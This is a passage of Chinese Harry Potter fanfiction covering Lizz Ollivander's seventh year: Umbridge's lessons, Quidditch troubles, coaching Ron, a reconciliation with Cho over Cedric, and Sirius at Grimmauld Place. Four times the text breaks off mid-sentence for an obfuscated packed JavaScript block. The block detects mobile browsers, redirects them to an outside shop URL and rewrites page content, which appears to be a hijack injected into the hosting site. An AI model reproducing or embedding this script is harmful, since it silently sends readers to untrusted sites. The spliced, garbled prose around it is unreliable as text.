不过霍格沃茨在魁地奇这一话题上从来都不缺看头,这晚戴维斯动员着大家要勤加练习时,话里话外没少挤兑斯莱特林的格拉哈姆,很显然他不仅是这届七年级里唯一没能一次通过幻影移形考试的人,智商上的缺陷暂且不论,人品上也继承了先前那位弗林特的良善,在院长斯内普的撑腰下几乎包圆了那些好时段的球场使用权。 队长会议上,安吉丽娜愤怒地控诉斯莱特林从来没有训练过这么长时间。 格拉哈姆则是嘲讽回道:“你管我们用不用呢,只要你们用不到就可以了。” 这话一出,差点让平日里从不出头的戴维斯和赫奇帕奇那位刚升六年级的新队长也站起了身,几个人差点当着霍琦夫人的面爬上桌打起来。 隔天在黑魔法防御课开始前,莉兹从安吉丽娜那里听说了这段故事的具体情形,她觉得自己不在现场真是有点可惜,难得能见到好面子的罗杰·戴维斯撸袖子干架,不能亲眼观看只能听旁人转述,太没意思了。 距离这节课的上课铃敲响还有不到五分钟,莉兹结束了与后排安吉丽娜的闲聊,乔治和弗雷德一前一后在她们边上的空位坐下,两个人身上又带着那股甜丝丝的气味儿,不知是不是一早就去做了一堆速效逃课糖,或是一些能让人变成鸟的金丝雀饼干。 两个学院剩下的七年级学生们也三三两两走进了教室,在路过莉兹座位时,总有一两个人会将视线在她身上停留半秒,好像她是个多么惊奇的存在,却又不能直接言说一般。这种氛围对她而言倒是不算陌生,毕竟今年她的寝室就弥漫着这样一种诡异的气氛,所有人都对一件公认且默认的事实闭口不谈,仿佛只要如此就代表不曾发生任何事。 莉兹很清楚,如果自己会在秋身上看到那个影子,那么她也会在自己身上看到那个影子,她们努力地对彼此微笑,去寻找着一个又一个过去就经常谈论的话题——她将那件签了莱莉·塔克名字的球衣带给她,她将新买的塔特希尔龙卷风徽章别在新买的巫师袍上…… 但礼盒装的徽章其实有一对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487863|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,另一个安静地躺在了秋的行李箱里,她觉得她还做不到能轻松提起和她一样喜欢龙卷风队的还有塞德里克,莉兹大约也做不到把他说要誓死追随奥利弗所以把主队改成普德米尔这样的玩笑话说出口。 愣神的功夫,新任的黑魔法防御课教授乌姆里奇已经踩着她那低跟的粉色皮鞋走到了讲台前,随即一本本厚重的教材被派发到了每个人桌上,莉兹瞥了一眼,粗略估计了一下页数,这是一本超越了魔法史厚度的书,本不应该出现在这节实践远远重于理论的课上。 “自我介绍就不赘述了,”乌姆里奇尖细的嗓音在教室内响起,“现在发给你们的是魔法部特别编写的黑魔法防御课程教材,会是各位在明年六月参加N.E.W.T考试的重要参考,我需要每个人都熟读,最好全文背诵。魔法部对未成年学生对教育十分关注……” “我们基本上都成年了……”教室后排的李·乔丹小声嘀咕着。 乌姆里奇立刻停下,踮起脚尖又踩高了一级,胸口夸张的羽毛胸针晃了晃,她用魔杖指着他,不动声色便是一发禁言咒语,李的嘴巴像是被缝上了似的张也张不开,他涨红了脸连连摇头,乌姆里奇却全然不管,只顾着自己要说的话。 “魔法部非常关心你们,希望你们在绝对安全的环境中获得最好的教育,但是如果学生们的某些人,我想各位已经听说了上午那节课上的事情,随意传播虚假的新闻是会受到惩戒的,相信官方,只有魔法部才能给出最正确的告知。” 她又强调:“只有我们才能保护你们。” “请问实践考试要如何准备?”莉兹抬起头,“往年N.E.W.T的黑魔法防御课程的实践分数占到了六成。” “奥利凡德小姐!”乌姆里奇突然尖叫着喊出她的名字,仿佛在死寂的课堂里划开了一道口子,“你的教养没有告诉你在课上发言要征求教授的意见吗?” 她走下讲台,朝莉兹走近:“请称呼我为乌姆里奇教授。” “好的,乌姆里奇教授,那么我的问题,您可以回答吗?”莉兹面无表情,眼里只藏着更深一层的冷漠,“请问我们如何进行咒语练习,七年级的学生至少要学会三种高级的攻击与防御魔咒,对抗摄魂怪、对抗黑魔法、对抗……” “够了!”又是一阵尖利的声音,乌姆里奇几乎要把眼珠子瞪出来,她的大鼻子好像要戳着莉兹的眉心。 “我希望所有人忘记过去在这节课上受到的一切误导,在魔法部的指导下,黑魔法防御课将会回归到最初的起点,”乌姆里奇拍着莉兹的桌子,“没错,你们的N.E.W.T也一样。” “谢谢,乌姆里奇教授,您的回答对我很受用。”莉兹微微点头,看似礼貌的话语让对方更是不满,但又不能再说其他的,而是翻开了教材。 当多洛雷斯·乌姆里奇回到了她那高高的讲台上,莉兹抽出背包里的魔杖背过身对着李·乔丹的方向轻轻一挥,禁言咒被轻而易举解开,她也在此刻体会到了奥利弗与队友站在球场上面对魁协的感受。 于是这天傍晚所有人都在礼堂吃饭时,在课堂着吵嚷着塞德里克去世真相的哈利·波特变成了最新的谈资,但是同样出头顶撞了乌姆里奇的莉兹也意外被指指点点,戴维斯特地跑来问她,因为她从不是这样的角色,千万不要突发奇想给拉文克劳扣上几分。 看着戴维斯小心翼翼的模样,莉兹脑子里是杰姬说的话,想来这家伙是完全没有听进去的。 “我不想做那个沉默的人。”她看向戴维斯,这样回答道。 “梅林啊——”罗杰·戴维斯只好摇着头走开。 76. 一成不变的生活 前一晚硬着头皮熬到深夜才把给米歇尔的回信写完,一大早还要强忍睡意爬起来去上魔咒学的课,莉兹多少有点明白乔治为什么说速效逃课糖未来的销量一定会很不错了,因为此时此刻坐在课桌前呵欠连天的她觉得自己非常需要一颗。 不过本应该出现在这节课上的韦斯莱双胞胎兄弟倒是不见踪影,莉兹半睁着眼环顾四周,只看见背着包向她这里走来的安吉丽娜,还有不愿搭理她的戴维斯特地把脸扭开去。 平时总是看起来精力充沛的安吉丽娜变得很憔悴,比睡眠不足的莉兹脸色还要糟糕,她刚一坐下便趴在了课本上,长长叹了一口气。 难道格兰芬多魁地奇队的队长真的会进行灵魂继承吗,相同的表情她只在那年查理毕业后伍德的脸上见过,接过队长重担的奥利弗·伍德一整个暑假都是愁容满面,因为他们缺了重要的找球手。 今年类似的事件又上演了,安吉丽娜为了那空缺的守门员位置几乎成夜睡不着觉,可她身边好像也没有能商量的可靠对象,兜来转去,莉兹竟然成了唯一值得信赖的人。此刻安吉丽娜犹犹豫豫看着一脸茫然在走神的莉兹,很显然她们两个人的注意力都不在弗立维教授的身上。 于是她小声开口道:“这之后你还有其他课吗?” “没了,我今天只有一节课。”莉兹把一个呵欠强行压制下去,回答道。 “那太好了,我正愁没人说话呢。”安吉丽娜轻轻一拍手,“你有什么好地方可去吗,秘密基地之类的?” “秘密基地?”这一下问住了莉兹,她可从来没想过这东西,何况她也没什么好地方可去,如果只是想找个地方待着的话,她倒是……脑子里一闪而过那间经常闲置的魁地奇办公室,开学有好几日了,她去过几回球场都不曾靠近过那里,好像那里藏着洪水猛兽。 原来自己无处可去,莉兹仿佛被提醒了什么似的,总不能一直在图书馆里待着,她没有那么爱看书,也没有那么多作业要写。 思索了好一阵子,中途还给弗立维教授演示了课上讲解的几个高级咒语,最后莉兹开口说:“我确实有一个能去的地方,是你会去的,但是不会经常去的地方。” 当安吉丽娜跟着莉兹来到魁地奇办公室门前时,困扰她多年的事情总算得到了解答:“我还在想以前伍德每晚都会消失是去了哪里,原来你们一直在这里啊。” “因为这里通常非常安静,而且,”莉兹推开门,“奥利弗认为那面黑板能够带给他足够多的魁地奇战术灵感。” “真的有用吗?”安吉丽娜惊喜问道。 “很难说。”莉兹将办公室里的灯点亮,队长会议基本用不到黑板,由于长时间没有人用,上面积了薄薄一层灰成,用手指一蹭,便留下一块指纹。 “但没有人来这件事,让喜欢保密的奥利弗很喜欢。”莉兹补充道。 没有得到想要的答案,安吉丽娜懊恼地拉开椅子坐下,她埋头锤了两下桌面,而后抬起头瞪圆了眼睛看向莉兹,接下来大概会是一段漫长的诉说。虽然莉兹觉得自己不是一个合格的倾听者,可如果安吉丽娜不需要任何有效反馈的话,她就会是一个完美的对象。 当然,她这会儿更多的还是希望这里只有自己一个人,那就可以把包里那副防咒手套和那顶防咒帽子拿出来,测试一下她刚刚学会的防御与攻击咒语,乌姆里奇的训斥对她来说好像只起到了反作用。 “我觉得整个队里只有我在乎魁地奇,”安吉丽娜深吸一口气,“你敢相信吗,乌姆里奇那老□□竟然开学第一节课就关了哈利禁闭,天呐,一周的时间,我们周五可是要选拔守门员的。” “如果是乌姆里奇,那倒是不奇怪。”莉兹嘀咕着。 安吉丽娜完全没在意,继续说着:“我一早就设想好了,我要让所有人都参与到守门员的选拔里,选出和大家配合最默契的那个新人,我明明早就说了,明明!” 她顿了一下,眼神在摆弄着羽毛笔的莉兹身上停留了一秒,而后说:“可是所有人都在玩失踪,梅林的胡子,弗雷德和乔治甚至差点用那堆糖果把一个低年级的孩子送进医务室。” 见安吉丽娜失望地摇着头,莉兹插嘴问说:“那凯蒂和艾丽娅呢。”她记得她们关系很不错。 “别提了,我想拉着她们一起早上练习,结果一个让我消停点,另一个压根不给我开寝室门。”安吉丽娜低下头去,“守门员太重要了,根本就不会有人能像奥利弗那样……” 她越说越沮丧,一直在后悔为什么去年休赛的一整年自己都没提前考虑过这件事,若是先前没有拿过学院杯倒也罢了,伍德毕业前的那场比赛赢得那么不容易,结果自己一接手,学院杯就拱手让人的话,那午夜梦回一定会被伍德掐死在睡梦里。 后来莉兹就这样一言不发地听着,就好像这些话以前也听过似的,她突然觉得生活实在是太过一成不变了,自己每年都在做着差不多的事情,学习、魁地奇、学习,还有更多的魁地奇,即便身边的人都一个一个不见了。 想来安吉丽娜只是想找个人倒一倒苦水,她喋喋不休不知说了多久,心情终于变得舒爽了一些,早晨那副憔悴的模样完全消失,她又成了那个精力充沛的姑娘。 “真不错,这地方确实很好,”安吉丽娜站起身,脸上挂着笑容,“反正就算找不到合适的人,我自己也够能力作替补。不瞒你说,我刚打魁地奇的时候最感兴趣的就是守门员了。” 她走到门边:“那我先回去了,谢谢你告诉我有这么个秘密基地。” 莉兹哭笑不得地与她挥了挥手,心想着大家都知道的地方算不得什么“秘密”,却在门被关上的同时被办公室里重又降临的安静包裹住了,胸口好像堵着一块石头,无数的记忆就像幻灯片,一张一张闪过。她认为立刻离开这里是一个好选择,可两只脚一动不动,她不想这么做,她不想一直活在过去。 因此她伸手将背包里的魔药学教材抽出来,又摊开一张空白的羊皮纸,斯内普借着N.E.W.T的名义故意布置了超纲的论文,作为转移注意力的工具再合适不过了。其实这学期她完全可以不再选这门课,她并不需要满科优秀的成绩单去应聘一份魔法部的工作,更不需要通过那些成绩去给戴维斯添堵,那要付出的辛苦太多了,很不划算。 莉兹的课表上之所以还留着几门重要的课,是因为弗立维教授很希望她未来能留在霍格沃茨,如果有可能的话,他想将魔咒学的授课交给莉兹,他们这群老教授们身边早就应该多点新鲜血液了。而想要担任霍格沃茨的教职要给出一张足够漂亮的成绩单,尽管她不觉得这就是适合她的工作,但是多给自己一个选择的机会倒不是个坏主意。 况且这种选择比起接手老奥利凡德的魔杖店, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487864|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她的妈妈米歇尔那里绝对能够变成更好的谈判筹码,自己真正想做的事情对一个固执己见的母亲而言从来都是毫无意义,这是莉兹在很小的时候就明白的道理。 刚写了两句引言,外面好像有什么动静,今天不是魁地奇校队训练的规定时间,她推开门走出办公室,探头看了一眼,球场上正有个瘦高的红发男孩儿狼狈地骑在一把横扫11上,一颗鬼飞球从一台老旧的发射器里弹出来,速度有些快,他完全没能反应上来,让球擦着他的肩膀过去了。 莉兹认出这是霍琦夫人那里的东西,她以前一个人练习的时候也借过几次,只不过这只适合一些初学者,对她来说就有些不够用了。 这时候男孩转过身来,见莉兹一挥魔杖,将飞到远处的鬼飞球放回那台发射器里,整个人变得十分慌张,本就泛红的皮肤彻底红透了。他落到地面,一直在支支吾吾,好一会儿都说不出自己在做什么,最后才憋出一句:“你能不能不要和弗雷德还有乔治说这件事。” 看着他的表情,莉兹恍然大悟似的轻哼了一声,接着回道:“我为什么要和他们说?你先在这里等我一下。”说着她转身跑进球场的更衣室,她的扫帚一般会放在这儿。 莉兹再次跑回来时,罗恩已经平静了不少,他盯着她扫帚上那个米歇尔的签名,半是惊奇半是紧张地眨了眨眼睛,毕竟算上去奥利凡德店里买魔杖的一次,他和莉兹之间的交流不会超过三次,尽管自己的两个哥哥和她的关系很不错,但在他心里,莉兹依然是传说中的米歇尔二代。 “守门员的话……”莉兹将鬼飞球拿起,“我今天有时间,介意我说两句吗?” “完全不介意!”罗恩站直了身子,紧盯着在做示范的莉兹,一秒钟都不敢移开视线。 天色渐暗,秋·张结束了下午的黑魔法防御课,大约是令人烦躁的课堂加深了人的疲倦,她无意识间发现自己竟走到了魁地奇球场,似乎她的大脑还认为走到这里就会看到总是会装作与她偶遇的塞德里克。自嘲地摇了摇头,她刚准备离开时,却听到了不远处传来了熟悉的说话声,是莉兹,她在和人聊着什么。 她明白最近莉兹对她的回避,或者说也许也只有她能明白,也正因如此,秋没有再走开,她向前迈上了球场,走过草坪,踩上了那片软绵绵的沙地。莉兹那副耐心指导罗恩的模样让她觉得陌生,秋这才意识到,过去那个看似冷淡始终不通人情的女孩,在这些年里变了很多。以前她总觉得莉兹身边需要一个翻译员,帮她解读那些从她口中说出的直接甚至于带着刺的话语,这样误解她的人就会少一些。 如今却发现,其实莉兹早已变得柔软,没有改变的人是自己,一直都没有摆脱那份懦弱。 安静地看着在半空中传着鬼飞球的两人,秋很久都没有挪动过脚步,直到晚餐开始的钟声被敲响,罗恩匆忙回到地面,先是被突然出现的秋吓了一跳,而后又回头看了一眼突然脸色变了的莉兹,他不知道这是发生了什么,但他知道赶紧消失绝对是最佳选择,于是他只是说了声再见都没来得及收到回应便已经消失在她们二人的视野中。 莉兹与秋对视着,气氛如同起了风的傍晚一般,湿冷盖过了白天的暖意,从脚底缓缓升起停留在指尖,像是一阵刺痛,莉兹握紧了扫帚柄而后举高。 “要是不急着去吃饭,我们要不要一起玩一会儿迷你魁地奇?” 77. 可爱且动人的回忆 秋看向她,握着飞天扫帚的手微微颤抖,试探性的语气透着并不明显的局促,这一切反而吹散了秋自己心底里的一些情绪,一边向前走近,一边自然地说着:“但我们只有两个人,怎么办呢?” “那两个人就玩传接球吧,”莉兹将手里的扫帚扔到一旁,把鬼飞球在手里盘了两圈,“先前奥利弗教过我一种麻瓜的运动,应该是叫……” “足球。”秋低下头微微一笑,抢先说了出来。 “没错,足球,我觉得那挺有意思的,”说着莉兹昂起头先将鬼飞球用膝盖顶起,接着又用脚面停住球,“那么准备好,我现在要踢给你了。” 这过人的球感经常让秋惊叹不已,为什么动作会如此轻易和灵巧,过去的秋几乎每次都要将“太厉害了”说出口,尽管旁人总会用“因为她是米歇尔二代”来解释莉兹的与众不同,可是秋始终认为那不太公平。 好在伍德与塞德里克两个人从未在秋面前这样说过,他们第一次提到莉兹就是在秋收到霍格沃茨录取通知书的那个夏天,那时他们二人刚从学校回来过暑假,塞德里克一见到秋就笑着说奥利弗一路上都在生闷气,火车的燃料用的一定是他的怒火。 而伍德也很快接下话茬,撇着嘴说离校前最后一次魁地奇练习中竟然被一个拉文克劳姑娘连进了三球,而她甚至还不是校队的正式成员,他觉得这肯定是帕特里克的报复。同一时间塞德里克便在一旁补充说帕特里克要是真想报复,一开始就会让那么厉害的姑娘加入校队了。 这一秒的落日余晖照在那双银白色的眼眸中,也让秋回想起第一次见到莉兹的那天,开学晚宴结束后她和玛丽埃塔不小心与其他的同届生走散,在陌生的校园里兜了好几圈才被当时的级长发现,领着她们回到了拉文克劳公共休息室。大门被打开的时候,莉兹正拿着一本书坐在中央的沙发上,低着头安静地在阅读,她乱蓬蓬的卷发看起来软绵绵的,秋一直想那应该手感很好。 站在台阶上的级长叫了她的名字,她便放下书站起身,没有问为什么迟到了,也没有问为什么会乱跑,莉兹只是指着楼梯的方向说她们的寝室就在拐角第一间,行李很早就送到了,然后转身直接走开,并没有等她们跟上来。 她的冷淡一度让玛丽埃塔很是讶异,因为这被当作了一种不礼貌,但秋却注意到了在枕头旁摆放的学院领带和徽章底下放着一张手绘的地图,标注着去各个教室的最快路径和楼梯变动的时间与规律。 可惜的是第二天醒来时秋没有来得及同莉兹说声谢谢,她很早便起床离开了寝室,后来就没再提起过这件事,而秋也是过了好些日子才发现莉兹其实就是那年夏天时伍德经常提到的那个姑娘。 现在的自己与莉兹在球场上,让鬼飞球在彼此之间传递,时不时有笑声,就像每一个曾经的时间突然就回来了似的,秋轻轻转身将球勾起再踢过去,然后说道:“小的时候,我们三个还有一个叫利亚姆的男孩子,也和我们住在一个街区的,四个人经常像这样一块儿踢球。” 莉兹在听到“我们三个”的时候抬起了头,但没有说些什么,秋便继续:“不知道奥利弗有没有讲过,利亚姆非常厉害,因为没有收到霍格沃茨的录取通知,他就进了切尔西的青训,今年夏天的时候去了德国的俱乐部,我们以前还去看过他的比赛。” “对了,你知道吗,塞德小时候也想去踢足球,但是个头太瘦小了根本没能通过初试,因为他最想踢的位置是门将,很可爱吧。” “不过他可爱的时间很短,只去了霍格沃茨一年就比我高了那么多,他居然说是因为厨房就在他寝室门口,我以为他是在逗我玩,后来才知道原来他真的没有说谎。” 她回忆得自然,语气温和,只是在叙述一段令人愉悦的记忆。 突然地,莉兹又听见了一声笑,鬼飞球从秋的脚边滚过,她长舒一口气低下头,语气立刻有了变化。 “你发现了吗,所有人都小心翼翼的,无论是对你还是对我都是这样的,我不明白。” 由着鬼飞球越滚越远,她们两个人站在原地一动不动。 “我不明白这究竟是为什么,是因为我太脆弱了吗,仿佛所有人都这样觉得,认为我就是无法离开任何人,多荒唐啊。”秋抬眼瞥向一旁,夜幕降临,难得晴朗的天空中能看到月亮的影子,“我有时候真的会希望自己像你一样,莉兹,他们忌惮你,因为你看起来一点都不悲伤,好像那与你无关似的。” 如果表达情绪对于莉兹来说是一件轻而易举的事情,事态会不会有新的发展,很显然并不会,莉兹清楚秋的意思,却没有预料到往日里极力顾众人周全的秋竟会坦率地先她一步撕开维持平和的那块布。 因此秋继续说着,没有留给莉兹一点说话的时间:“可是真的和你无关吗,因为没有哭给他们看就与你无关了吗,或者说,我们仍然在想念他这件事真的就如此难以启齿吗,那值得让你选择逃避吗?” 连续的反问句句紧逼,莉兹甚至下意识后退了半步。 “我不知道应该如何解释,我常常感觉他还在这里,”秋扫了一眼四周,“我走到哪里都能见到他的身影,走到哪里都能听到他的声音,他好像一直活在这里,和我们在一起。” 说罢她自嘲地叹了一声:“就像是连塞德都认为我无法一个人走下去了一样。” 这一句猛地在莉兹心头狠狠戳下一刀,因为她也是这么想的,从那天之后她一直觉得自己应该代替塞德里克照顾她,应该为那些错误弥补些什么。 “我知道你也一样,把我当成了你的责任。”秋抬起头,“可是莉兹,我爱塞德并不代表我的全部生活是为他存在的,是我作为一个完整的人在爱他,从来都不是他对我的爱构成了我。” 遮掩的一块布在几句话之间被撕得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487865|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉碎,莉兹眼底有些发热,不自觉垂下眼躲开她的视线:“这段时间我也想了很多,我试图告诉自己回忆是可接受的,可如果我能学会直接面对,许多事情一开始就不会发生,非常遗憾,我……” 将哽咽声强行压下去,莉兹有必须说的话:“对不起,我没有做到让他安全归来,而且由于胆怯,我做了一件不能原谅的错事,现在甚至变成了无法说出口的错事。” “天呐无所不能的奥利凡德小姐,”好脾气的人也总会有着急的时候,秋深呼吸了一下,“在意真相的人从来不是只有你一个人,你明白吗,既然是和那个人有关,既然邓布利多教授愿意向我们说出来,那么就一定会有连我也能做到的事情,一定有。” 两个人看着彼此沉默了许久,时间长到过去那些互相之间的误解都逐渐融在了夜色里,这一次是莉兹主动笑了起来,那是一种“一切尽在她掌握”的表情,秋经常在魁地奇比赛开始前从她的脸上看到,这总会给拉文克劳带来一场漂亮的胜利。 “你不觉得最近的霍格沃茨太死气沉沉了吗?”她说。 听到这没头没尾的反问,秋疑惑地眨了眨眼。 “我听说所有在乌姆里奇的课上询问了实践训练内容的学生都被斥责了,那位波特甚至被关了几天禁闭。”莉兹伸手,原本躺在地上的光轮1700立刻回到了她手中,“保持好奇、主动学习是我们拉文克劳的良好习惯。” “你的意思是?”秋追问。 “我们要做些什么,不管是什么,所以我先来给大家找点乐子。”莉兹说这话的语气简直与韦斯莱双胞胎兄弟如出一辙,她回身补充道,“不过校规就交给我来违反吧,我是级长。” “那我给你找点吃的,我和梅丽的关系很不错。”肩并肩往着城堡走去,看着旁边人的侧脸,秋发现自己真的很喜欢现在的莉兹。 这一天她们躲在厨房里待到了很晚,秋接着傍晚时讲的小时候的话题继续给莉兹说那两个男孩的糗事,一件跟着一件,塞德里克那点“完美先生”的形象消失得无影无踪,只剩下了一个时不时耍宝逗乐的邻居男孩。 听着故事的莉兹则是一块跟着一块在吃奶油馅饼,梅丽非常贴心,一看到她的盘子空了就会添上一块,直到那股子甜味顶到了嗓子眼,莉兹才停下了咀嚼的动作,放下了盘子里最后那半块馅饼。 “所以你那时候才会笑,”莉兹恍然大悟似的点了点头,“塞德里克第一次来我们车厢打招呼的时候。” “因为那时候我不知道他想在学校里做个好孩子,”秋回道,“样子有点滑稽。” “你这么一说,确实有一点。”莉兹回想着,轻轻笑出声,“他甚至和我们所有人都握了手。” 离去的人会用过去那些可爱且动人的回忆支撑着现在的人,这是无所不能、无所不知的奥利凡德小姐在这一晚第一次明白的简单道理。 78. 过人的智慧 尽管花了一整个夏天将这间老房子从上到下、从内到外都打扫过一遍,西里斯·布莱克依然觉得到处都弥漫着令人难忍的霉味,他一点儿也坐不住,总是一个房间换到另一个房间转悠。若是碰上难得的好天气,他的心情就会变得更糟糕,哪怕是走路颤颤巍巍的老太太都能推着小车出门溜达一圈,他却只能待在这儿看着凤凰社的那群家伙们来来去去。 当然了,格里莫广场12号是比阿兹卡班的牢房要好多了,也比巴黎的小阁楼好多了,更不用提泰晤士河畔的狭窄公寓,只有永远不会消失的酒瓶子和壁炉旁破旧的毛毯。如果能收到点哈利的消息,西里斯想自己的生活会好过一些,可这太危险了,无论是莱姆斯那小子还是塞西尔那酒鬼,每次离开前都要提醒他不要再做什么惹人注意的事情,魔法部以福吉为首的官员们简直风声鹤唳。 这日早晨,房间里的玻璃窗被敲得叮当作响,前一晚难以安睡的西里斯直到天蒙蒙亮时才勉强入睡,噪声让他烦躁不已,将被子拉高裹住脑袋,只想再躺一会儿。过了一阵子好像一切都安静了下来,他安心地松了一口气将被子踢到一旁翻了个身,睁开眼时对上了一双黢黑的眸子。 “梅林在上,你怎么进来的!”西里斯惊得立马直起身连连后退。 女人昂着头,窗外的阳光慢慢将她照亮,连那双眼睛一起,她一只手拿着一封信高高举起,另一只胳膊上停着一只雪白的猫头鹰,漂亮而显眼,最后她清了清嗓子开口道:“自然是打开门走进来的,你确定你告诉过你的教子最近少联系吗?” 对襟的睡衣扣子散开了一半,西里斯袒露着胸膛又顶着一头凌乱的半长发下了床,他上前伸手抢过信封,不耐烦地回道:“这是开学以来第一封信,还不算‘少联系’吗?” “你该庆幸看到海德薇在屋顶乱飞的人是我不是阿拉斯托。”女人移开目光的样子就像是翻了个白眼似的,她回身带上了房门,压低了声音继续说道,“我发誓他一定会给你找个谁也不知道的小岛作为安全屋。” “塞西尔小姐,”西里斯冷哼了一声,嘴角勾起,微微眯起眼睛,他走近时海德薇扑闪着翅膀,翅尖的羽毛扫过了她的脸颊,一转眼就飞到了床帘架子上,“我现在可不是个没魔杖的软禁人员,你的威胁有多大效果呢?” 出于一些众所周知的理由,西里斯认为自己的“质问”在这种情况下会更有用,只不过塞西尔很显然早已脱敏,她似乎并不在乎这张俊俏的脸,反倒是回敬了相同的冷笑声,而后抬眼看向他:“所有人都同意不向你透露所有事是好的选择,我还认为是误解,现在看来你确实……” 她说着停顿了一下,手指戳着他的肩膀将他推开,继续说:“就是个青少年。” 一股怒意顶上来,西里斯觉得前额发热,发泄似的对着她说道:“哦这难道是我选的吗,我逃出来是为了再被你们换一个又一个地方关着吗?” 塞西尔盯着他沉默了好一阵,然后说:“听好了,孩子,威森加摩的审判出来了,斯多吉会在阿兹卡班监禁六个月。我知道你肯定会问为什么,邓布利多先生前些日子被罢免了,而我和金斯莱无法直接接触斯多吉,唐克斯尝试着去伯恩斯女士那里了解情况,但邓布利多让我们什么都别做,很容易会暴露身份。” “这太显而易见了,夺魂咒,栽赃嫁祸,那群人的手段总是这么些。”西里斯两手环抱在胸前。 “就像福吉无法证明我是邓布利多的人一样,我也证明不了魔法部被渗透到什么程度了,福吉不是食死徒,但他的多疑让他成为了他们的好伙伴。”塞西尔说,“你自己是怎么进的阿兹卡班,好好想想吧。” “所以这就是不会和我说的事情,”西里斯眨了眨眼,“我甚至幼稚到不能理解这种事吗?” “不是的,因为你太孤单了,”塞西尔强调道,“西里斯,你太孤单了,我们担心你把一切都分享给哈利,这对他来说不安全。” 被一语道破,西里斯无言以对,他偏过头坐回床上,小声嘟囔着:“借我一只猫头鹰。” “什么?”塞西尔疑惑。 “我说,借我一只猫头鹰。”西里斯重复了一遍。 “你应该听得懂我说了什么吧,我认为你不写回信是最好的选择。”塞西尔握住门把手,从口袋里摸出一块肉干,对着海德薇招了招手,“嘿,跟我走。” 猫头鹰乖巧地飞下来,再次停在女人的肩头,听话的模样令西里斯惊讶,而她留下的话也让他深思,可毕竟他不是那些动物,无法对她言听计从。 听到门外脚步声逐渐消失,西里斯起身准备出去,只是刚推开房门便看到塞西尔站在走廊另一边的房间前,神色凝重盯着那扇门上的名字,过了很长时间才离开。 实际上西里斯的心情,塞西尔不能说无法感同身受,她只是找不出什么好听的说法来劝他。就好像她在听见莉兹说出那句“我不再逃跑了”的时候,不安与焦躁的情绪填满了她的脑海,莉兹的聪明会成为她的利器也会将她再次推进陷阱。 因此当哈利在乌姆里奇的课上出了风头被关禁闭的事情传开以后,虽说继承了波特家基因的孩子就算是提前把自己折腾退学了都不算稀奇,可塞西尔却没料到在那之后获得了禁闭处分的会是她那聪慧过人的侄女。 《第二十三号教育令》通过的当日,乌姆里奇以霍格沃茨高级调查官的身份出现在课堂上,她做的第一件事就是将一本薄薄的册子摔在了莉兹桌前,并说道:“若不是看你仍然是个学生,你现在收到的应该是一张阿兹卡班直通车票。” 众人面面相觑,有的人小心翼翼将什么藏进了斗篷里,有的人一无所知惊讶地看向被指责的莉兹,而女孩的表情淡然,仿佛乌姆里奇只是在说什么不值得被关注的废话一般。 “我会给所有的学生一个坦白的机会,主动上交违禁的印刷品,你将不会收到任何惩罚,如果将来再次被搜查到的话,你们将会和奥利凡德小姐一样,获得三日的禁闭处分。”乌姆里奇说着又咳嗽了两声,“还有我会查出所有的魔法道具的制作者究竟是谁,如果奥利凡德小姐始终不愿开口的话。” 乔治在听到这句话的时候瞥了一眼身旁的莉兹,她变换了一下坐姿,将两脚相叠,摆出一副更加无所谓的模样。他自然知道老·□□说的是什么,因为那些被莉兹一个个设置在学校角落的小道具,都是他和弗雷德没日没夜赶工做出来的,它们很不起眼,但却都很有效,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487866|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些简单的恶咒缠上的学生必须学会册子上对应的解咒法才能脱身。 没错,解咒手册是莉兹提前写好的,她甚至与皮皮鬼达成了良好的合作关系,只要有人中招,皮皮鬼就会第一时间赶到并送上手册,而只要谁触碰到它,对应的咒语便会显现。 有时候会有低年级的学生遭殃,他们没有足够成熟的解咒能力,这时最靠近这个定点的学生们都会收到提醒,每个人的手册上会显示出路线图,方便赶过来帮忙。这灵巧的机关让人惊喜,可惜莉兹却不愿透露制作的手法。 